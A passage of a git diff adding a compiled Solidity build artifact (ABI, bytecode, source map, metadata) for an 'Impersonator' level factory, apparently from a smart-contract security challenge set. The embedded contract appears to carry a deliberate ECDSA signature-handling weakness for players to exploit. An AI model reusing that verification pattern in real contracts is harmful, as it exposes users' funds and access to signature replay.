UUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Impersonator.t.sol":{"keccak256":"0x0fd2f09b871da4b6742e6718f9d79c8954eab7a6cadbde2736be4f2d76d62d21","urls":["bzz-raw://b715a2cb440dc4e2c943ea55cac940aeeff9ae1da65d75dcd3ad721255b6291f","dweb:/ipfs/QmQWU2DBfjmHKr8SJJQBuWvJS2xpQmZfkLwEZbHiceDXGX"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"id":142}
\ No newline at end of file
diff --git a/contracts/out/ImpersonatorFactory.sol/ImpersonatorFactory.json b/contracts/out/ImpersonatorFactory.sol/ImpersonatorFactory.json
new file mode 100644
index 000000000..ce6013e7d
--- /dev/null
+++ b/contracts/out/ImpersonatorFactory.sol/ImpersonatorFactory.json
@@ -0,0 +1 @@
+{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x6080604052348015600e575f5ffd5b50601633601a565b6069565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6112e0806100765f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f5ffd5b8063715018a61461005c5780637726f77614610072575b5f5ffd5b348015610067575f5ffd5b5061007061010c565b005b6100856100803660046104c4565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f5ffd5b505f546001600160a01b0316610085565b3480156100c9575f5ffd5b506100dd6100d83660046104e6565b610249565b6040519015158152602001610099565b3480156100f8575f5ffd5b506100706101073660046104c4565b61034e565b6101146103e3565b61011d5f61043c565b565b5f5f610538604051610130906104a3565b908152602001604051809103905ff08015801561014f573d5f5f3e3d5ffd5b5090505f60405180606001604052807f1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9181526020017f78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff28152602001601b8152506040516020016101bf919061051d565b60408051601f19818403018152908290527f61a423b100000000000000000000000000000000000000000000000000000000825291506001600160a01b038316906361a423b19061021490849060040161054d565b5f604051808303815f87803b15801561022b575f5ffd5b505af115801561023d573d5f5f3e3d5ffd5b50939695505050505050565b6040517f809aab920000000000000000000000000000000000000000000000000000000081525f6004820181905290839082906001600160a01b0383169063809aab9290602401602060405180830381865afa1580156102ab573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102cf9190610598565b90505f6001600160a01b0316816001600160a01b031663f77c47916040518163ffffffff1660e01b8152600401602060405180830381865afa158015610317573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061033b9190610598565b6001600160a01b03161495945050505050565b6103566103e3565b6001600160a01b0381166103d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103e08161043c565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610cf7806105b483390190565b6001600160a01b03811681146103e0575f5ffd5b5f602082840312156104d4575f5ffd5b81356104df816104b0565b9392505050565b5f5f604083850312156104f7575f5ffd5b8235610502816104b0565b91506020830135610512816104b0565b809150509250929050565b6060810181835f5b6003811015610544578151835260209283019290910190600101610525565b50505092915050565b602081525f82518060208401525f5b81811015610579576020818601810151604086840101520161055c565b505f604082850101526040601f19601f83011684010191505092915050565b5f602082840312156105a8575f5ffd5b81516104df816104b056fe6080604052348015600e575f5ffd5b50604051610cf7380380610cf7833981016040819052602b916088565b6032336039565b600155609e565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156097575f5ffd5b5051919050565b610c4c806100ab5f395ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100c05780638db564c2146100d0578063f2fde38b146100e7575f5ffd5b806361a423b114610073578063715018a614610088578063809aab9214610090575b5f5ffd5b61008661008136600461038f565b6100fa565b005b6100866101e9565b6100a361009e366004610442565b6101fc565b6040516001600160a01b0390911681526020015b60405180910390f35b5f546001600160a01b03166100a3565b6100d960015481565b6040519081526020016100b7565b6100866100f5366004610459565b610224565b6101026102b9565b5f60015f815461011190610486565b919050819055826040516101249061036e565b61012f9291906104ed565b604051809103905ff080158015610148573d5f5f3e3d5ffd5b5060028054600180820183555f929092527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038416908117909155905460405192935090917fac736e2e9adaa5052dee435c356ab8fe44ca4c16de5337e6b528e771ac85e97b916101dd914290879061050d565b60405180910390a25050565b6101f16102b9565b6101fa5f610312565b565b6002818154811061020b575f80fd5b5f918252602090912001546001600160a01b0316905081565b61022c6102b9565b6001600160a01b0381166102ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102b681610312565b50565b5f546001600160a01b031633146101fa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102a4565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6106e28061053583390190565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561039f575f5ffd5b813567ffffffffffffffff8111156103b5575f5ffd5b8201601f810184136103c5575f5ffd5b803567ffffffffffffffff8111156103df576103df61037b565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561040e5761040e61037b565b604052818152828201602001861015610425575f5ffd5b816020840160208301375f91810160200191909152949350505050565b5f60208284031215610452575f5ffd5b5035919050565b5f60208284031215610469575f5ffd5b81356001600160a01b038116811461047f575f5ffd5b9392505050565b5f600182016104a357634e487b7160e01b5f52601160045260245ffd5b5060010190565b5f81518084525f5b818110156104ce576020818501810151868301820152016104b2565b505f602082860101526020601f19601f83011685010191505092915050565b828152604060208201525f61050560408301846104aa565b949350505050565b838152826020820152606060408201525f61052b60608301846104aa565b9594505050505056fe60c060405234801561000f575f5ffd5b506040516106e23803806106e283398101604081905261002e91610142565b60808281527f19457468657265756d205369676e6564204d6573736167653a0a3332000000005f908152601c849052603c812060a0819052604080518281526060868101516020838101919091528781015183850152928701519082015291936001939083855afa503d6100a957638baa579f5f526004601cfd5b5f805160808301604081815287516020808a01919091208552600190819052908420805460ff1916909117905582546001600160a01b0319166001600160a01b0383169081179093554290529250907f53b18c96aa52ab0b62231a748985fe77b5db7c4c758d0b398e220117ca69dfe19060a00160405180910390a250505050610212565b634e487b7160e01b5f52604160045260245ffd5b5f5f60408385031215610153575f5ffd5b825160208401519092506001600160401b03811115610170575f5ffd5b8301601f81018513610180575f5ffd5b80516001600160401b038111156101995761019961012e565b604051601f8201601f19908116603f011681016001600160401b03811182821017156101c7576101c761012e565b6040528181528282016020018710156101de575f5ffd5b5f5b828110156101fc576020818501810151838301820152016101e0565b505f602083830101528093505050509250929050565b60805160a0516104aa6102385f395f818160da015261023101525f60a001526104aa5ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063e4e6cf4f1161004d578063e4e6cf4f146100d5578063f77c4791146100fc578063f978fd6114610126575f5ffd5b8063259aa240146100735780633e8cd5701461008857806366fa19321461009b575b5f5ffd5b6100866100813660046103ad565b610158565b005b6100866100963660046103dd565b6101af565b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b5f5461010e906001600160a01b031681565b6040516001600160a01b0390911681526020016100cc565b61014861013436600461042d565b60016020525f908152604090205460ff1681565b60405190151581526020016100cc565b5f610164848484610220565b9050806001600160a01b03167f50042401acb675fedd6dd939fccc629832ce60fa4185df25c01b20e8def195bf426040516101a191815260200190565b60405180910390a250505050565b6101ba848484610220565b505f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040514281527f8cf1cbc25758c16f47e27029c8104e5be712c49e9baaf12c1fd697a91b431680906020016101a1565b604080515f808252602082018084527f0000000000000000000000000000000000000000000000000000000000000000905260ff8616928201929092526060810184905260808101839052819060019060a0016020604051602081039080840390855afa158015610293573d5f5f3e3d5ffd5b5050604051601f1901515f549092506001600160a01b0380841691161490506102e8576040517f6d5769be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60408051606081018252858152602080820186905260ff88168284015291515f92610314929101610444565b60408051601f1981840301815291815281516020928301205f818152600190935291205490915060ff1615610375576040517f900bb2c900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f908152600160208190526040909120805460ff19169091179055949350505050565b803560ff811681146103a8575f5ffd5b919050565b5f5f5f606084860312156103bf575f5ffd5b6103c884610398565b95602085013595506040909401359392505050565b5f5f5f5f608085870312156103f0575f5ffd5b6103f985610398565b9350602085013592506040850135915060608501356001600160a01b0381168114610422575f5ffd5b939692955090935050565b5f6020828403121561043d575f5ffd5b5035919050565b6060810181835f5b600381101561046b57815183526020928301929091019060010161044c565b5050509291505056fea2646970667358221220853c8ec9baf2e169c22fc683d24f2f46690e0bb16045f084bd5f56cbdd85effd64736f6c634300081c0033a26469706673582212205fec4d7166dc4e9766012e60dd54a37fef9687aac9dd51eab25961700e2843b464736f6c634300081c0033a2646970667358221220bc485041e88f1d2d03d641dc1b1441e98bf428f4ec070018889a49be3f902e1964736f6c634300081c0033","sourceMap":"115:908:3:-:0;;;;;;;;;;;;-1:-1:-1;936:32:0;719:10:1;936:18:0;:32::i;:::-;115:908:3;;2433:187:0;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:0;;;-1:-1:-1;;;;;;2541:17:0;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;115:908:3:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f5ffd5b8063715018a61461005c5780637726f77614610072575b5f5ffd5b348015610067575f5ffd5b5061007061010c565b005b6100856100803660046104c4565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f5ffd5b505f546001600160a01b0316610085565b3480156100c9575f5ffd5b506100dd6100d83660046104e6565b610249565b6040519015158152602001610099565b3480156100f8575f5ffd5b506100706101073660046104c4565b61034e565b6101146103e3565b61011d5f61043c565b565b5f5f610538604051610130906104a3565b908152602001604051809103905ff08015801561014f573d5f5f3e3d5ffd5b5090505f60405180606001604052807f1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9181526020017f78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff28152602001601b8152506040516020016101bf919061051d565b60408051601f19818403018152908290527f61a423b100000000000000000000000000000000000000000000000000000000825291506001600160a01b038316906361a423b19061021490849060040161054d565b5f604051808303815f87803b15801561022b575f5ffd5b505af115801561023d573d5f5f3e3d5ffd5b50939695505050505050565b6040517f809aab920000000000000000000000000000000000000000000000000000000081525f6004820181905290839082906001600160a01b0383169063809aab9290602401602060405180830381865afa1580156102ab573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102cf9190610598565b90505f6001600160a01b0316816001600160a01b031663f77c47916040518163ffffffff1660e01b8152600401602060405180830381865afa158015610317573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061033b9190610598565b6001600160a01b03161495945050505050565b6103566103e3565b6001600160a01b0381166103d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103e08161043c565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610cf7806105b483390190565b6001600160a01b03811681146103e0575f5ffd5b5f602082840312156104d4575f5ffd5b81356104df816104b0565b9392505050565b5f5f604083850312156104f7575f5ffd5b8235610502816104b0565b91506020830135610512816104b0565b809150509250929050565b6060810181835f5b6003811015610544578151835260209283019290910190600101610525565b50505092915050565b602081525f82518060208401525f5b81811015610579576020818601810151604086840101520161055c565b505f604082850101526040601f19601f83011684010191505092915050565b5f602082840312156105a8575f5ffd5b81516104df816104b056fe6080604052348015600e575f5ffd5b50604051610cf7380380610cf7833981016040819052602b916088565b6032336039565b600155609e565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156097575f5ffd5b5051919050565b610c4c806100ab5f395ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100c05780638db564c2146100d0578063f2fde38b146100e7575f5ffd5b806361a423b114610073578063715018a614610088578063809aab9214610090575b5f5ffd5b61008661008136600461038f565b6100fa565b005b6100866101e9565b6100a361009e366004610442565b6101fc565b6040516001600160a01b0390911681526020015b60405180910390f35b5f546001600160a01b03166100a3565b6100d960015481565b6040519081526020016100b7565b6100866100f5366004610459565b610224565b6101026102b9565b5f60015f815461011190610486565b919050819055826040516101249061036e565b61012f9291906104ed565b604051809103905ff080158015610148573d5f5f3e3d5ffd5b5060028054600180820183555f929092527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038416908117909155905460405192935090917fac736e2e9adaa5052dee435c356ab8fe44ca4c16de5337e6b528e771ac85e97b916101dd914290879061050d565b60405180910390a25050565b6101f16102b9565b6101fa5f610312565b565b6002818154811061020b575f80fd5b5f918252602090912001546001600160a01b0316905081565b61022c6102b9565b6001600160a01b0381166102ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102b681610312565b50565b5f546001600160a01b031633146101fa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102a4565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6106e28061053583390190565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561039f575f5ffd5b813567ffffffffffffffff8111156103b5575f5ffd5b8201601f810184136103c5575f5ffd5b803567ffffffffffffffff8111156103df576103df61037b565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561040e5761040e61037b565b604052818152828201602001861015610425575f5ffd5b816020840160208301375f91810160200191909152949350505050565b5f60208284031215610452575f5ffd5b5035919050565b5f60208284031215610469575f5ffd5b81356001600160a01b038116811461047f575f5ffd5b9392505050565b5f600182016104a357634e487b7160e01b5f52601160045260245ffd5b5060010190565b5f81518084525f5b818110156104ce576020818501810151868301820152016104b2565b505f602082860101526020601f19601f83011685010191505092915050565b828152604060208201525f61050560408301846104aa565b949350505050565b838152826020820152606060408201525f61052b60608301846104aa565b9594505050505056fe60c060405234801561000f575f5ffd5b506040516106e23803806106e283398101604081905261002e91610142565b60808281527f19457468657265756d205369676e6564204d6573736167653a0a3332000000005f908152601c849052603c812060a0819052604080518281526060868101516020838101919091528781015183850152928701519082015291936001939083855afa503d6100a957638baa579f5f526004601cfd5b5f805160808301604081815287516020808a01919091208552600190819052908420805460ff1916909117905582546001600160a01b0319166001600160a01b0383169081179093554290529250907f53b18c96aa52ab0b62231a748985fe77b5db7c4c758d0b398e220117ca69dfe19060a00160405180910390a250505050610212565b634e487b7160e01b5f52604160045260245ffd5b5f5f60408385031215610153575f5ffd5b825160208401519092506001600160401b03811115610170575f5ffd5b8301601f81018513610180575f5ffd5b80516001600160401b038111156101995761019961012e565b604051601f8201601f19908116603f011681016001600160401b03811182821017156101c7576101c761012e565b6040528181528282016020018710156101de575f5ffd5b5f5b828110156101fc576020818501810151838301820152016101e0565b505f602083830101528093505050509250929050565b60805160a0516104aa6102385f395f818160da015261023101525f60a001526104aa5ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063e4e6cf4f1161004d578063e4e6cf4f146100d5578063f77c4791146100fc578063f978fd6114610126575f5ffd5b8063259aa240146100735780633e8cd5701461008857806366fa19321461009b575b5f5ffd5b6100866100813660046103ad565b610158565b005b6100866100963660046103dd565b6101af565b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b5f5461010e906001600160a01b031681565b6040516001600160a01b0390911681526020016100cc565b61014861013436600461042d565b60016020525f908152604090205460ff1681565b60405190151581526020016100cc565b5f610164848484610220565b9050806001600160a01b03167f50042401acb675fedd6dd939fccc629832ce60fa4185df25c01b20e8def195bf426040516101a191815260200190565b60405180910390a250505050565b6101ba848484610220565b505f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040514281527f8cf1cbc25758c16f47e27029c8104e5be712c49e9baaf12c1fd697a91b431680906020016101a1565b604080515f808252602082018084527f0000000000000000000000000000000000000000000000000000000000000000905260ff8616928201929092526060810184905260808101839052819060019060a0016020604051602081039080840390855afa158015610293573d5f5f3e3d5ffd5b5050604051601f1901515f549092506001600160a01b0380841691161490506102e8576040517f6d5769be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60408051606081018252858152602080820186905260ff88168284015291515f92610314929101610444565b60408051601f1981840301815291815281516020928301205f818152600190935291205490915060ff1615610375576040517f900bb2c900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f908152600160208190526040909120805460ff19169091179055949350505050565b803560ff811681146103a8575f5ffd5b919050565b5f5f5f606084860312156103bf575f5ffd5b6103c884610398565b95602085013595506040909401359392505050565b5f5f5f5f608085870312156103f0575f5ffd5b6103f985610398565b9350602085013592506040850135915060608501356001600160a01b0381168114610422575f5ffd5b939692955090935050565b5f6020828403121561043d575f5ffd5b5035919050565b6060810181835f5b600381101561046b57815183526020928301929091019060010161044c565b5050509291505056fea2646970667358221220853c8ec9baf2e169c22fc683d24f2f46690e0bb16045f084bd5f56cbdd85effd64736f6c634300081c0033a26469706673582212205fec4d7166dc4e9766012e60dd54a37fef9687aac9dd51eab25961700e2843b464736f6c634300081c0033a2646970667358221220bc485041e88f1d2d03d641dc1b1441e98bf428f4ec070018889a49be3f902e1964736f6c634300081c0033","sourceMap":"115:908:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:0;;;;;;;;;;;;;:::i;:::-;;159:572:3;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:5;;;571:74;;559:2;544:18;159:572:3;;;;;;;;1201:85:0;;;;;;;;;;-1:-1:-1;1247:7:0;1273:6;-1:-1:-1;;;;;1273:6:0;1201:85;;737:284:3;;;;;;;;;;-1:-1:-1;737:284:3;;;;;:::i;:::-;;:::i;:::-;;;1222:14:5;;1215:22;1197:41;;1185:2;1170:18;737:284:3;1057:187:5;2081:198:0;;;;;;;;;;-1:-1:-1;2081:198:0;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;159:572:3:-;233:7;269:25;314:4;297:22;;;;;:::i;:::-;1406:25:5;;;1394:2;1379:18;297:22:3;;;;;;;;;;;;;;;;;;;;;;;269:50;;329:22;354:285;;;;;;;;404:77;354:285;;;;508:77;354:285;;;;612:2;354:285;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;354:285:3;;;;;;;;;;649:37;;;354:285;-1:-1:-1;;;;;;649:26:3;;;;;:37;;354:285;;649:37;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;711:12:3;;159:572;-1:-1:-1;;;;;;159:572:3:o;737:284::-;945:19;;;;;837:4;945:19;;;1406:25:5;;;837:4:3;907:9;;837:4;;-1:-1:-1;;;;;945:16:3;;;;;1379:18:5;;945:19:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;927:37;;1012:1;-1:-1:-1;;;;;981:33:3;:6;-1:-1:-1;;;;;981:17:3;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;981:33:3;;;737:284;-1:-1:-1;;;;;737:284:3:o;2081:198:0:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:0;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:0;;3368:2:5;2161:73:0::1;::::0;::::1;3350:21:5::0;3407:2;3387:18;;;3380:30;3446:34;3426:18;;;3419:62;3517:8;3497:18;;;3490:36;3543:19;;2161:73:0::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:0;719:10:1;1422:23:0;1414:68;;;;-1:-1:-1;;;1414:68:0;;3775:2:5;1414:68:0;;;3757:21:5;;;3794:18;;;3787:30;3853:34;3833:18;;;3826:62;3905:18;;1414:68:0;3573:356:5;2433:187:0;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:0;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:5:-;-1:-1:-1;;;;;93:5:5;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:5:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:5;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1442:471::-;1622:2;1607:18;;1611:9;1702:6;1580:4;1736:171;1750:4;1747:1;1744:11;1736:171;;;1809:13;;1797:26;;1852:4;1843:14;;;;1880:17;;;;1770:1;1763:9;1736:171;;;1740:3;;;1442:471;;;;:::o;1918:525::-;2065:2;2054:9;2047:21;2028:4;2097:6;2091:13;2140:6;2135:2;2124:9;2120:18;2113:34;2165:1;2175:140;2189:6;2186:1;2183:13;2175:140;;;2300:2;2284:14;;;2280:23;;2274:30;2269:2;2250:17;;;2246:26;2239:66;2204:10;2175:140;;;2179:3;2364:1;2359:2;2350:6;2339:9;2335:22;2331:31;2324:42;2434:2;2427;2423:7;2418:2;2410:6;2406:15;2402:29;2391:9;2387:45;2383:54;2375:62;;;1918:525;;;;:::o;2638:267::-;2724:6;2777:2;2765:9;2756:7;2752:23;2748:32;2745:52;;;2793:1;2790;2783:12;2745:52;2825:9;2819:16;2844:31;2869:5;2844:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.28+commit.7893614a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/ImpersonatorFactory.sol\":\"ImpersonatorFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Impersonator.sol\":{\"keccak256\":\"0x56cf85fb2968955c0d12a233f597108a5c499694ec0fb1b3133f616ca0fae30c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw: